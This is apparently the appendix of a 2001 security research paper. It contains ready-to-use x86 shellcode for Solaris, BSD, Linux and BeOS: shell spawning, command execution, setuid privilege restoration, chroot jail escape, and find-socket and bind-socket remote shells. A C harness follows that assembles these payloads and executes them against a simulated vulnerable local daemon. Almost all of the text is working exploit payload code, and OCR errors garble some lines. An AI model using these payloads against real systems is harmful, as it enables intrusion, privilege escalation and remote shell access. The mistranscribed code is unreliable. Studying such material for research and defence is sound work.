    "\xaa"                  /* stosb  %al,%es:(%edi) */
    "\x5e"                  /* popl   %esi           */
    "\xeb\x0d"              /* jmp    <syscallcode+26> */
    "\xe8\xf2\xff\xff"     /* call   <syscallcode+4>   */
    "\x9a\xff\xff\xff"
    "\x07\xff"
```

```

    "\xc3"          /* ret          */
;

char shellcode[]=      /* 25+8 bytes      */
    "\xeb\x12"        /* jmp    <shellcode+20> */
    "\x33\xd2"        /* xorl   %edx,%edx     */
    "\x58"            /* popl   %eax          */
    "\x8d\x78\x14"    /* leal   0x14(%eax),edi */
    "\x57"            /* pushl  %edi          */
    "\x50"            /* pushl  %eax          */
    "\xab"            /* stosl  %eax,%es:(%edi) */
    "\x92"            /* xchgl  %eax,%edx     */
    "\xab"            /* stosl  %eax,%es:(%edi) */
    "\x88\x42\x08"    /* movb   %al,0x8(%edx)  */
    "\xb0\x0b"        /* movb   $0x0b,%al     */
    "\xff\xd6"        /* call   *%esi         */
    "\xe8\xe9\xff\xff" /* call   <shellcode+2> */
    "/bin/ksh"
;

char cmdshellcode[]=   /* 36+12+cmdlen bytes */
    "\xeb\x1d"        /* jmp    <cmdshellcode+31> */
    "\x33\xd2"        /* xorl   %edx,%edx     */
    "\x58"            /* popl   %eax          */
    "\x8d\x78\xac"    /* leal   -0x44(%eax),edi */
    "\x57"            /* pushl  %edi          */
    "\x50"            /* pushl  %eax          */
    "\x88\x50\x08"    /* movb   %dl,0x8(%eax)  */
    "\x88\x50\x0b"    /* movb   %dl,0xb(%eax)  */
    "\xab"            /* stosl  %eax,%es:(%edi) */
    "\x8d\x40\x09"    /* leal   0x09(%eax),%eax */
    "\xab"            /* stosl  %eax,%es:(%edi) */
    "\x8d\x40\x03"    /* leal   0x03(%eax),%eax */
    "\xab"            /* stosl  %eax,%es:(%edi) */
    "\x92"            /* xchgl  %eax,%edx     */
    "\xab"            /* stosl  %eax,%es:(%edi) */
    "\xb0\x0b"        /* movb   $0x0b,%al     */
    "\xff\xd6"        /* call   *%esi         */
    "\xe8\xde\xff\xff" /* call   <cmdshellcode+2> */
    "/bin/ksh -c "
    /* command */
;

char setuidcode[]=     /* 7 bytes          */
    "\x33\xc0"        /* xorl   %eax,%eax     */
    "\x50"            /* pushl  %eax          */
    "\xb0\x17"        /* movb   $0x17,%al     */
    "\xff\xd6"        /* call   *%esi         */
;

char chrootcode[]=     /* 40 bytes         */
    "\x68"            /* pushl  $0x2e2e2e62    */
    "\x89\xe7"        /* movl   %esp,%edi     */

```

```

"\x33\xc0"          /* xorl    %eax,%eax          */
"\x88\x47\x03"     /* movb   %al,0x3(%edi)      */
"\x57"             /* pushl  %edi                */
"\xb0\x50"         /* movb   $0x50,%al         */
"\xff\xd6"         /* call   *%esi               */
"\x57"             /* pushl  %edi                */
"\xb0\x3d"         /* movb   $0x3d,%al         */
"\xff\xd6"         /* call   *%esi               */
"\x47"             /* incl   %edi                */
"\x33\xc9"         /* xorl   %ecx,%ecx          */
"\xb1\xff"         /* movb   $0xff,%cl         */
"\x57"             /* pushl  %edi                */
"\xb0\x0c"         /* movb   $0x0c,%al         */
"\xff\xd6"         /* call   *%esi               */
"\xe2\xfa"         /* loop   <chrootcode+28>    */
"\x47"             /* incl   %edi                */
"\x57"             /* pushl  %edi                */
"\xb0\x3d"         /* movb   $0x3d,%al         */
"\xff\xd6"         /* call   *%esi               */
;

char findsckcode[] = /* 67 bytes                  */
"\x56"             /* pushl  %esi                */
"\x5f"             /* popl   %edi                */
"\x83\xef\x7c"     /* subl   $0x7c,%edi         */
"\x57"             /* pushl  %edi                */
"\x8d\x4f\x10"     /* leal   0x10(%edi),%ecx     */
"\xb0\x91"         /* movb   $0x91,%al         */
"\xab"             /* stosl  %eax,%es:(%edi)    */
"\xab"             /* stosl  %eax,%es:(%edi)    */
"\x91"             /* xchgl  %ecx,%eax          */
"\xab"             /* stosl  %eax,%es:(%edi)    */
"\x95"             /* xchgl  %eax,%ebp          */
"\xb5\x54"         /* movb   $0x54,%ch         */
"\x51"             /* pushl  %ecx                */
"\x66\xb9\x01\x01" /* movw   $0x0101,%cx        */
"\x51"             /* pushl  %ecx                */
"\x33\xc0"         /* xorl   %eax,%eax          */
"\xb0\x36"         /* movb   $0x36,%al         */
"\xff\xd6"         /* call   *%esi               */
"\x59"             /* popl   %ecx                */
"\x33\xdb"         /* xorl   %ebx,%ebx          */
"\x3b\xc3"         /* cmpl   %ebx,%eax          */
"\x75\x0a"         /* jne    <findsckcode+47>   */
"\x66\xb9\x12\x34" /* movw   $0x1234,%bx        */
"\x66\x39\x5d\x02" /* cmpw   %bx,0x2(%ebp)      */
"\x74\x02"         /* je     <findsckcode+49>   */
"\xe2\xe6"         /* loop   <findsckcode+23>   */
"\x6a\x09"         /* pushb  $0x09              */
"\x51"             /* pushl  %ecx                */
"\x91"             /* xchgl  %ecx,%eax          */
"\xb1\x03"         /* movb   $0x03,%cl         */
"\x49"             /* decl   %ecx                */

```

```

    "\x89\x4c\x24\x08"    /* movl    %ecx,0x8(%esp)    */
    "\x41"                /* incl    %ecx                */
    "\xb0\x3e"            /* movb    $0x3e,%al         */
    "\xff\xd6"            /* call    *%esi              */
    "\xe2\xf4"            /* loop    <findsckcode+55>  */
;

char bindsckcode[] =     /* 73 bytes                    */
    "\x33\xc0"           /* xorl    %eax,%eax          */
    "\x68\xff\x02\x12\x34" /* pushl   $0x341202ff        */
    "\x89\xe7"           /* movl    $esp,%edi          */
    "\x40"               /* incl    %eax                */
    "\x50"               /* pushl   %eax                */
    "\x48"               /* decl    %eax                */
    "\x50"               /* pushl   %eax                */
    "\x50"               /* pushl   %eax                */
    "\xb0\x02"           /* movb    $0x02,%al         */
    "\x50"               /* pushl   %eax                */
    "\x50"               /* pushl   %eax                */
    "\xb0\xe6"           /* movb    $0xe6,%al         */
    "\xff\xd6"           /* call    *%esi              */
    "\x8b\xd8"           /* movl    %eax,%ebx          */
    "\x33\xc0"           /* xorl    %eax,%eax          */
    "\x89\x47\x04"       /* movl    %eax,0x4(%edi)     */
    "\x6a\x10"           /* pushb   $0x10              */
    "\x57"               /* pushl   %edi                */
    "\x53"               /* pushl   %ebx                */
    "\xb0\xe8"           /* movb    $0xe8,%al         */
    "\xff\xd6"           /* call    *%esi              */
    "\x6a\x05"           /* pushb   $0x05              */
    "\x53"               /* pushl   %ebx                */
    "\xb0\xe9"           /* movb    $0xe9,%al         */
    "\xff\xd6"           /* call    *%esi              */
    "\x33\xc0"           /* xorl    %eax,%eax          */
    "\x50"               /* pushl   %eax                */
    "\x50"               /* pushl   %eax                */
    "\x53"               /* pushl   %ebx                */
    "\xb0\xea"           /* movb    $0xea,%al         */
    "\xff\xd6"           /* call    *%esi              */
    "\x8b\xd8"           /* movl    %eax,%ebx          */
    "\x6a\x09"           /* pushb   $0x09              */
    "\x53"               /* pushl   %ebx                */
    "\x91"               /* xchgl   %ecx,%eax          */
    "\xb1\x03"           /* movb    $0x03,%cl         */
    "\x49"               /* decl    %ecx                */
    "\x89\x4c\x24\x08"    /* movl    %ecx,0x8(%esp)    */
    "\x41"                /* incl    %ecx                */
    "\xb0\x3e"            /* movb    $0x3e,%al         */
    "\xff\xd6"            /* call    *%esi              */
    "\xe2\xf4"            /* loop    <bindsckcode+61>  */
;

char jump[] =

```

```
    "\x8b\xc4"    /* movl    %esp,%eax    */
    "\xc3"        /* ret                */
;

#define FINDSCKPORTOFS    39
#define BINDSCKPORTOFS    05

#endif
```

Appendix F

{Free,Net,Open}BSD/x86 codes, file: x86-bsd

```
#if defined(X86) && defined(BSD)

char shellcode[]=          /* 23 bytes          */
    "\x31\xc0"           /* xorl  %eax,%eax    */
    "\x50"               /* pushl %eax         */
    "\x68" "//sh"        /* pushl $0x68732f2f  */
    "\x68" "/bin"        /* pushl $0x6e69622f  */
    "\x89\xe3"           /* movl  %esp,%ebx    */
    "\x50"               /* pushl %eax         */
    "\x54"               /* pushl %esp         */
    "\x53"               /* pushl %ebx         */
    "\x50"               /* pushl %eax         */
    "\xb0\x3b"           /* movb  $0x3b,%al    */
    "\xcd\x80"           /* int   $0x80        */
;

char cmdshellcode[]=      /* 44+cmdlen bytes   */
    "\xeb\x25"           /* jmp   <cmdshellcode+39> */
    "\x59"               /* popl  %ecx         */
    "\x31\xc0"           /* xorl  %eax,%eax    */
    "\x50"               /* pushl %eax         */
    "\x68" "//sh"        /* pushl $0x68732f2f  */
    "\x68" "/bin"        /* pushl $0x6e69622f  */
    "\x89\xe3"           /* movl  %esp,%ebx    */
    "\x50"               /* pushl %eax         */
    "\x66\x68"-c"        /* pushw $0x632d      */
    "\x89\xe7"           /* movl  %esp,%edi    */
    "\x50"               /* pushl %eax         */
    "\x51"               /* pushl %ecx         */
    "\x57"               /* pushl %edi         */
    "\x53"               /* pushl %ebx         */
    "\x89\xe7"           /* movl  %esp,%edi    */
    "\x50"               /* pushl %eax         */
    "\x57"               /* pushl %edi         */
    "\x53"               /* pushl %ebx         */
    "\x50"               /* pushl %eax         */
    "\xb0\x3b"           /* movb  $0x0b,%al    */
    "\xcd\x80"           /* int   $0x80        */

```

```

    "\xe8\xd6\xff\xff\xff" /* call    <cmdshellcode+2>    */
    /* command */
;

char setuidcode [] =          /* 7 bytes          */
    "\x33\xc0"               /* xorl    %eax,%eax */
    "\x50"                   /* pushl   %eax       */
    "\xb0\x17"               /* movb    $0x17,%al  */
    "\x50"                   /* pushl   %eax       */
    "\xcd\x80"               /* int     $0x80      */
;

char chrootcode [] =        /* 44 bytes         */
    "\x68"b..."           /* pushl   $0x2e2e2e62 */
    "\x89\xe7"               /* movl    %esp,%edi   */
    "\x33\xc0"               /* xorl    %eax,%eax   */
    "\x88\x47\x03"           /* movb    %al,0x3(%edi) */
    "\x57"                   /* pushl   %edi        */
    "\xb0\x88"               /* movb    $0x88,%al   */
    "\x50"                   /* pushl   %eax       */
    "\xcd\x80"               /* int     $0x80      */
    "\x57"                   /* pushl   %edi        */
    "\xb0\x3d"               /* movb    $0x3d,%al   */
    "\x50"                   /* pushl   %eax       */
    "\xcd\x80"               /* int     $0x80      */
    "\x47"                   /* incl    %edi        */
    "\x33\xc9"               /* xorl    %ecx,%ecx   */
    "\xb1\xff"               /* movb    $0xff,%cl   */
    "\x57"                   /* pushl   %edi        */
    "\x50"                   /* pushl   %eax       */
    "\xb0\x0c"               /* movb    $0x0c,%al   */
    "\xcd\x80"               /* int     $0x80      */
    "\xe2\xfa"               /* loop    <chrootcode+31> */
    "\x47"                   /* incl    %edi        */
    "\x57"                   /* pushl   %edi        */
    "\xb0\x3d"               /* movb    $0x3d,%al   */
    "\x50"                   /* pushl   %eax       */
    "\xcd\x80"               /* int     $0x80      */
;

char findsckcode [] =      /* 59 bytes         */
    "\x56"                   /* pushl   %esi        */
    "\x5f"                   /* popl    %edi        */
    "\x83\xef\x7c"           /* subl    $0x7c,%edi   */
    "\x57"                   /* pushl   %edi        */
    "\xb0\x10"               /* movb    $0x10,%al   */
    "\xab"                   /* stosl   %eax,%es:(%edi) */
    "\x57"                   /* pushl   %edi        */
    "\x31\xc9"               /* xorl    %ecx,%ecx   */
    "\xb1\xff"               /* movb    $0xff,%cl   */
    "\x51"                   /* pushl   %ecx        */
    "\x33\xc0"               /* xorl    %eax,%eax   */
    "\xb0\x1f"               /* movb    $0x1f,%al   */

```



```

"\x51"           /* pushl   %ecx           */
"\xcd\x80"       /* int     $0x80         */
"\x59"           /* popl    %ecx           */
"\x59"           /* popl    %ecx           */
"\x33\xdb"       /* xorl    %ebx,%ebx     */
"\x3b\xc3"       /* cmpl    %ebx,%eax     */
"\x75\x0a"       /* jne     <findsckcode+40> */
"\x66\xbb\x12\x34" /* movw   $0x1234,%bx   */
"\x66\x39\x5f\x02" /* cmpw   %bx,0x2(%edi) */
"\x74\x02"       /* je      <findsckcode+42> */
"\xe2\xe4"       /* loop   <findsckcode+14> */
"\x51"           /* pushl   %ecx           */
"\x50"           /* pushl   %eax           */
"\x91"           /* xchgl   %ecx,%eax     */
"\xb1\x03"       /* movb    $0x03,%cl     */
"\x49"           /* decl    %ecx           */
"\x89\x4c\x24\x08" /* movl   %ecx,0x8(%esp) */
"\x41"           /* incl    %ecx           */
"\xb0\x5a"       /* movb    $0x5a,%al     */
"\xcd\x80"       /* int     $0x80         */
"\xe2\xf4"       /* loop   <findsckcode+47> */
;

char bindsckcode[] = /* 70 bytes           */
"\x33\xc0"         /* xorl    %eax,%eax     */
"\x68\xff\x02\x12\x34" /* pushl  $0x341202ff   */
"\x89\xe7"         /* movl    %esp,%edi     */
"\x50"             /* pushl   %eax           */
"\x6a\x01"         /* pushl   $0x01         */
"\x6a\x02"         /* pushl   $0x02         */
"\xb0\x61"         /* movb    $0x61,%al     */
"\x50"             /* pushl   %eax           */
"\xcd\x80"         /* int     $0x80         */
"\x8b\xd8"         /* movl    %eax,%ebx     */
"\x33\xc0"         /* xorl    %eax,%eax     */
"\x89\x47\x04"     /* movl    %eax,0x4(%edi) */
"\x6a\x10"         /* pushb   $0x10         */
"\x57"             /* pushl   %edi           */
"\x53"             /* pushl   %ebx           */
"\xb0\x68"         /* movb    $0x68,%al     */
"\x50"             /* pushl   %eax           */
"\xcd\x80"         /* int     $0x80         */
"\x6a\x05"         /* pushb   $0x05         */
"\x53"             /* pushl   %ebx           */
"\xb0\x6a"         /* movb    $0x6a,%al     */
"\x50"             /* pushl   %eax           */
"\xcd\x80"         /* int     $0x80         */
"\x33\xc0"         /* xorl    %eax,%eax     */
"\x50"             /* pushl   %eax           */
"\x50"             /* pushl   %eax           */
"\x53"             /* pushl   %ebx           */
"\xb0\x1e"         /* movb    $0x1e,%al     */
"\x50"             /* pushl   %eax           */

```

```

"\xcd\x80"      /* int    $0x80          */
"\x50"          /* pushl  %eax           */
"\x50"          /* pushl  %eax           */
"\x91"          /* xchgl  %ecx,%eax      */
"\xb1\x03"      /* movb   $0x03,%c1     */
"\x49"          /* decl   %ecx           */
"\x89\x4c\x24\x08" /* movl  %ecx,0x8(%esp) */
"\x41"          /* incl   %ecx           */
"\xb0\x5a"      /* movb   $0x5a,%al     */
"\xcd\x80"      /* int    $0x80          */
"\xe2\xf4"      /* loop   <bindsckcode+58> */
;

char jump[] =
"\x8b\xc4"      /* movl  %esp,%eax       */
"\xc3"          /* ret                   */
;

#define FINDSCKPORTOFS 32
#define BINDSCKPORTOFS 05

#endif

```

Appendix G

Linux/x86 codes, file: x86-linux

```
#if defined(X86) && defined(LINUX)

char shellcode[]=          /* 24 bytes          */
    "\x31\xc0"            /* xorl   %eax,%eax   */
    "\x50"                /* pushl  %eax        */
    "\x68" "//sh"        /* pushl  $0x68732f2f */
    "\x68" "/bin"        /* pushl  $0x6e69622f */
    "\x89\xe3"           /* movl   %esp,%ebx   */
    "\x50"                /* pushl  %eax        */
    "\x53"                /* pushl  %ebx        */
    "\x89\xe1"           /* movl   %esp,%ecx   */
    "\x99"                /* cdql                      */
    "\xb0\x0b"           /* movb   $0x0b,%al    */
    "\xcd\x80"           /* int    $0x80        */
;

char cmdshellcode[]=      /* 40+cmdlen bytes    */
    "\xeb\x22"            /* jmp    <cmdshellcode+36> */
    "\x59"                /* popl   %ecx        */
    "\x31\xc0"            /* xorl   %eax,%eax   */
    "\x50"                /* pushl  %eax        */
    "\x68" "//sh"        /* pushl  $0x68732f2f */
    "\x68" "/bin"        /* pushl  $0x6e69622f */
    "\x89\xe3"           /* movl   %esp,%ebx   */
    "\x50"                /* pushl  %eax        */
    "\x66\x68"-c"        /* pushw  $0x632d        */
    "\x89\xe7"           /* movl   %esp,%edi   */
    "\x50"                /* pushl  %eax        */
    "\x51"                /* pushl  %ecx        */
    "\x57"                /* pushl  %edi        */
    "\x53"                /* pushl  %ebx        */
    "\x89\xe1"           /* movl   %esp,%ecx   */
    "\x99"                /* cdql                      */
    "\xb0\x0b"           /* movb   $0x0b,%al    */
    "\xcd\x80"           /* int    $0x80        */
    "\xe8\xd9\xff\xff\xff" /* call   <cmdshellcode+2> */
    /* command */
;
```

```

char setuidcode []=          /* 8 bytes          */
    "\x33\xc0"              /* xorl    %eax,%eax  */
    "\x31\xdb"              /* xorl    %ebx,%ebx  */
    "\xb0\x17"              /* movb   $0x17,%al   */
    "\xcd\x80"              /* int     $0x80      */
;

char chrootcode []=         /* 37 bytes          */
    "\x33\xc0"              /* xorl    %eax,%eax  */
    "\x50"                  /* pushl   %eax        */
    "\x68"bb.."            /* pushl   $0x2e2e6262 */
    "\x89\xe3"              /* movl    %esp,%ebx   */
    "\x43"                  /* incl    %ebx        */
    "\x33\xc9"              /* xorl    %ecx,%ecx   */
    "\xb0\x27"              /* movb   $0x27,%al   */
    "\xcd\x80"              /* int     $0x80      */
    "\x33\xc0"              /* xorl    %eax,%eax  */
    "\xb0\x3d"              /* movb   $0x3d,%al   */
    "\xcd\x80"              /* int     $0x80      */
    "\x43"                  /* incl    %ebx        */
    "\xb1\xff"              /* movb   $0xff,%cl   */
    "\xb0\x0c"              /* movb   $0x0c,%al   */
    "\xcd\x80"              /* int     $0x80      */
    "\xe2\xfa"              /* loop    <chrootcode+21> */
    "\x43"                  /* incl    %ebx        */
    "\xb0\x3d"              /* movb   $0x3d,%al   */
    "\xcd\x80"              /* int     $0x80      */
;

char findsockcode []=      /* 72 bytes          */
    "\x31\xdb"              /* xorl    %ebx,%ebx   */
    "\x89\xe7"              /* movl    %esp,%edi   */
    "\x8d\x77\x10"          /* leal   0x10(%edi),%esi */
    "\x89\x77\x04"          /* movl    %esi,0x4(%edi) */
    "\x8d\x4f\x20"          /* leal   0x20(%edi),%ecx */
    "\x89\x4f\x08"          /* movl    %ecx,0x8(%edi) */
    "\xb3\x10"              /* movb   $0x10,%b1    */
    "\x89\x19"              /* movl    %ebx,(%ecx)  */
    "\x31\xc9"              /* xorl    %ecx,%ecx   */
    "\xb1\xff"              /* movb   $0xff,%cl   */
    "\x89\x0f"              /* movl    %ecx,(%edi)  */
    "\x51"                  /* pushl   %ecx        */
    "\x31\xc0"              /* xorl    %eax,%eax   */
    "\xb0\x66"              /* movb   $0x66,%al   */
    "\xb3\x07"              /* movb   $0x07,%b1    */
    "\x89\xf9"              /* movl    %edi,%ecx   */
    "\xcd\x80"              /* int     $0x80      */
    "\x59"                  /* popl    %ecx        */
    "\x31\xdb"              /* xorl    %ebx,%ebx   */
    "\x39\xd8"              /* cmpl    %ebx,%eax   */
    "\x75\x0a"              /* jne     <findsockcode+54> */
    "\x66\xb8\x12\x34"      /* movw   $0x1234,%bx  */

```

```

"\x66\x39\x46\x02" /* cmpw %bx,0x2(%esi) */
"\x74\x02" /* je <findsckcode+56> */
"\xe2\xe0" /* loop <findsckcode+24> */
"\x89\xcb" /* movl %ecx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x03" /* movb $0x03,%cl */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x3f" /* movb $0x3f,%al */
"\x49" /* decl %ecx */
"\xcd\x80" /* int $0x80 */
"\x41" /* incl %ecx */
"\xe2\xf6" /* loop <findsckcode+62> */
;

char bindsckcode[] = /* 73 bytes */
"\x33\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68\xff\x02\x12\x34" /* pushl $0x341202ff */
"\x89\xe7" /* movl %esp,%edi */
"\x50" /* pushl %eax */
"\x6a\x01" /* pushb $0x01 */
"\x6a\x02" /* pushb $0x02 */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x66" /* movb $0x66,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x43" /* incl %ebx */
"\xcd\x80" /* int $0x80 */
"\x6a\x10" /* pushb $0x10 */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x66" /* movb $0x66,%al */
"\x43" /* incl %ebx */
"\xcd\x80" /* int $0x80 */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x04,%bl */
"\x89\x44\x24\x04" /* movl %eax,0x4(%esp) */
"\xcd\x80" /* int $0x80 */
"\x33\xc0" /* xorl %eax,%eax */
"\x83\xc4\x0c" /* addl $0x0c,%esp */
"\x50" /* pushl %eax */
"\x50" /* pushl %eax */
"\xb0\x66" /* movb $0x66,%al */
"\x43" /* incl %ebx */
"\xcd\x80" /* int $0x80 */
"\x89\xc3" /* movl %eax,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb1\x03" /* movb $0x03,%cl */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x3f" /* movb $0x3f,%al */
"\x49" /* decl %ecx */
"\xcd\x80" /* int $0x80 */
"\x41" /* incl %ecx */

```

```
    "\xe2\xf6"          /* loop <bindsckcode+63> */
;
#define FINDSCKPORTOFS  46
#define BINDSCKPORTOFS  06
#endif
```

Appendix H

BeOS/x86 codes, file: x86-beos

```
#if defined(X86) && defined(BEOS)

char shellcode[]=          /* 25 bytes          */
    "\x31\xc0"            /* xorl  %eax,%eax    */
    "\x50"                /* pushl %eax         */
    "\x68" //sh          /* pushl $0x68732f2f  */
    "\x68" //bin         /* pushl $0x6e69622f  */
    "\x54"                /* pushl %esp         */
    "\x89\xe3"           /* movl  %esp,%ebx    */
    "\x50"                /* pushl %eax         */
    "\x53"                /* pushl %ebx         */
    "\x6a\x01"           /* pushb $0x01        */
    "\x50"                /* pushl %eax         */
    "\xb0\xa2"           /* movb  $0xa2,%al    */
    "\xcd\x25"           /* int   $0x25        */
;

char cmdshellcode[]=      /* 44+cmdlen bytes   */
    "\xeb\x25"            /* jmp   <cmdshellcode+39> */
    "\x59"                /* popl  %ecx         */
    "\x31\xc0"            /* xorl  %eax,%eax    */
    "\x50"                /* pushl %eax         */
    "\x68" //sh          /* pushl $0x68732f2f  */
    "\x68" //bin         /* pushl $0x6e69622f  */
    "\x89\xe3"           /* movl  %esp,%ebx    */
    "\x50"                /* pushl %eax         */
    "\x66\x68"-c"        /* pushw $0x632d      */
    "\x89\xe7"           /* movl  %esp,%edi    */
    "\x51"                /* pushl %ecx         */
    "\x57"                /* pushl %edi         */
    "\x53"                /* pushl %ebx         */
    "\x89\xe3"           /* movl  %esp,%ebx    */
    "\x50"                /* pushl %eax         */
    "\x53"                /* pushl %ebx         */
    "\x6a\x03"           /* pushb $0x03        */
    "\x50"                /* pushl %eax         */
    "\xb0\xa2"           /* movb  $0xa2,%al    */
    "\xcd\x25"           /* int   $0x25        */
```

```
    "\xe8\xd6\xff\xff\xff" /* call    <cmdshellcode+2>    */
    /* command */
;

char jump[]=
    "\x8b\xc4"          /* movl    %esp,%eax    */
    "\xc3"              /* ret                  */
;

#endif
```


Appendix I

Example program for codes usage

I.1 asmcodes.h

```
#ifndef ASMCODES_H
#define ASMCODES_H

#include "mips-irix"
#include "parisc-hpux"
#include "powerpc-aix"
#include "sparc-solaris"
#include "x86-beos"
#include "x86-bsd"
#include "x86-linux"
#include "x86-solaris"

typedef struct{char *n;char *c;}asmcodes_t[9];

asmcodes_t asmcodes={
#if defined(AIX) || ( defined(X86) && defined(SOLARIS) )
    { "syscallcode",  syscallcode  },
#else
    { ""            ,  NULL          },
#endif
    { "shellcode",    shellcode     },
    { "cmdshellcode", cmdshellcode  },
#if !defined(BEOS)
#if defined(SOLARIS) || defined(LINUX) || defined(BSD)
    { "setuidcode",   setuidcode    },
#endif
#endif
#if defined(HPUX)
    { "setresuidcode", setresuidcode },
#endif
#if defined(IRIX) || defined(AIX)
    { "setreuidcode", setreuidcode  },
#endif
    { "chrootcode",   chrootcode    },
    { "findsckcode",  findsckcode   },
    { "bindsckcode",  bindsckcode   }
};
```

```

#else
    { ""      ,    NULL      },
    { ""      ,    NULL      },
    { ""      ,    NULL      },
    { ""      ,    NULL      }
#endif
};

#if defined(BEOS)
#define FINDSCKPORTOFS    -1
#define BINDSCKPORTOFS    -1
#define usleep(a) sleep(1)
#endif

#define is(flag)    (flags&(1<<flag))
#define block(flag) (flags&(1<<flag))
#define code(flag)  asmcodes[flag].c

#define SYSCALL 0
#define SHELL 1
#define CMD 2
#define CRED 3
#define CHROOT 4
#define FIND 5
#define BIND 6

#define _REMOTE 9

typedef struct{char state;char *follow;int flag;}pblock_t[4];

pblock_t tab={
    { 'P', "CSRFB", (1<<CRED)      },
    { 'R', "CSFB" , (1<<CHROOT)    },
    { 'F', "CS"   , (1<<FIND)|(1<<_REMOTE) },
    { 'B', "CS"   , (1<<BIND)|(1<<_REMOTE) }
};

int parseblocks(char *b){
    char c,s;int i,flag=0;s=(strlen(b)==1);
    while((c=*b++)&&*b){
        for(i=0;i<4;i++) if(c==tab[i].state) break;
        if(i==4) return(-1);
        if(strchr(tab[i].follow,*b)) flag|=tab[i].flag; else return(-1);
    }
    if(c=='S') flag|=(1<<SHELL);
    else if(c=='C') flag|=(1<<CMD); else return(-1);
    return(flag);
}

#endif

```

I.2 asmcodes.c

```
/*## copyright LAST STAGE OF DELIRIUM feb 2001 poland      *://lsd-pl.net/ ##/
/*## unix asmcodes testing facility                        ##/

/* This code provides the capability of testing different assembly code */
/* blocks in proof of concept codes                               */
/*                                                                */
/* compilation:                                                */
/* (g)cc asmcodes.c -DSYSTEM -DPROCESSOR [-DVERSION] [-lnsl -lsocket] */
/* platforms:                                                  */
/* -DIRIX -DMIPS                                               */
/* -DSOLARIS -DSPARC|-DX86                                     */
/* -DHPUX -DPARISC                                             */
/* -DAIX -DPOWERPC -DV41|-DV42|-DV43                          */
/* -DLINUX -DX86                                               */
/* -DBSD -DX86 (openbsd,netbsd,freebsd)                        */
/* -DBEOS -DX86 (only shell and cmdshell are present)         */

#include <sys/types.h>
#include <sys/socket.h>
#ifdef AIX
#include <sys/select.h>
#endif
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#include "asmcodes.h"

int main(int argc,char **argv){
    char buffer[1024],*b,*cmd="id";
    int i,c,n,flags=-1,port=1234,sck;
    struct hostent *hp;
    struct sockaddr_in adr;

    printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland //lsd-pl.net/\n");
    printf("unix asmcodes testing facility\n\n");

    while((c=getopt(argc,argv,"b:c:p:"))!=-1){
        switch(c){
            case 'b': flags=parseblocks(optarg);break;
            case 'c': cmd=optarg;break;
            case 'p': port=atoi(optarg);break;
        }
    }

    if(flags===-1){
        printf("usage: %s -b buffer [-p port] [-c \"cmd\"]\n%s",argv[0],
            " where the buffer is composed of one of the following blocks:\n")
    }
}
```

```

        " S interactive shell\n"
        " C single command (-c \"cmd\", or predefined \"id\")\n"
        " P restore privileges\n"
        " R escape chroot jail\n"
        " F find socket (-p port, or default=1234)\n"
        " B bind socket (same as for F)\n\n"
        " valid blocks combinations:\n"
        " S PS RS PRS FS BS PFS PBS RFS RBS PRFS PRBS\n"
        " C PC RC PRC FC BC PFC PBC RFC RBC PRFC PRBC\n\n"
        " ex: a -b PRFS -p 1112\n"
    );
    exit(-1);
}

/*
 * if the find or bind codes are to be tested run simple network daemon
 * simulating a vulnerable application. the simulation is done by the means
 * of reading instructions stream from the network and then executing it.
 */
if(is(_REMOTE)){
    if(!fork()){
        sck=socket(AF_INET,SOCK_STREAM,0);
        adr.sin_family=AF_INET;
        adr.sin_port=htons(port);
        adr.sin_addr.s_addr=htonl(INADDR_ANY);
        i=1;
        setsockopt(sck,SOL_SOCKET,SO_REUSEADDR,(void*)&i,sizeof(i));
        if(bind(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
            perror("error");exit(-1);
        }
        listen(sck,1);
        if((i=accept(sck,(struct sockaddr*)0,(int*)0))!=-1) exit(-1);
        close(sck);sck=i;
        read(sck,buffer,sizeof(buffer));
        usleep(500000);
        if(block(BIND)) close(sck);
    }

#if defined(AIX)
    {
        int jump[2]={(int)buffer,*((int*)&main+1)};
        sleep(1);
        ((*void (*)())jump)();
    }
#else
    usleep(100000);
    ((*void (*)())buffer)();
#endif
    exit(-1);
}
sleep(1);
}

/*

```

```

* if this is remote code test, connect to the remote server, which
* simulates vulnerable application.
*/
if(is(_REMOTE)){
    sck=socket(AF_INET,SOCK_STREAM,0);
    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr("127.0.0.1"))==-1){
        if((hp=gethostbyname("127.0.0.1"))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }
    if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
        perror("error");exit(-1);
    }
}

/*
* separate code pieces are combined into one block in the target buffer.
* for the findsckcode the local port of the connection established with
* a "vulnerable" server must be obtained. for bindsckcode the number
* of port to which the listening socket is to be bound must be specified.
*/
b=buffer;
if(code(SYSCALL)!=NULL){
    for(i=0;i<strlen(code(SYSCALL));i++) *b++=code(SYSCALL)[i];
}
if(block(CRED)){
    for(i=0;i<strlen(code(CRED));i++) *b++=code(CRED)[i];
}
if(block(CHROOT)){
    for(i=0;i<strlen(code(CHROOT));i++) *b++=code(CHROOT)[i];
}
if(block(FIND)){
    i=sizeof(struct sockaddr_in);
    if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
        struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
        ioctl(sck, (('S'<<8)|2),"sockmod");
        nb.maxlen=0xffff;
        nb.len=sizeof(struct sockaddr_in);
        nb.buf=(char*)&adr;
        ioctl(sck, (('T'<<8)|144),&nb);
    }
    n=ntohs(adr.sin_port);
    code(FIND)[FINDSCKPORTOFS+0]=(unsigned char)((n>>8)&0xff);
    code(FIND)[FINDSCKPORTOFS+1]=(unsigned char)(n&0xff);
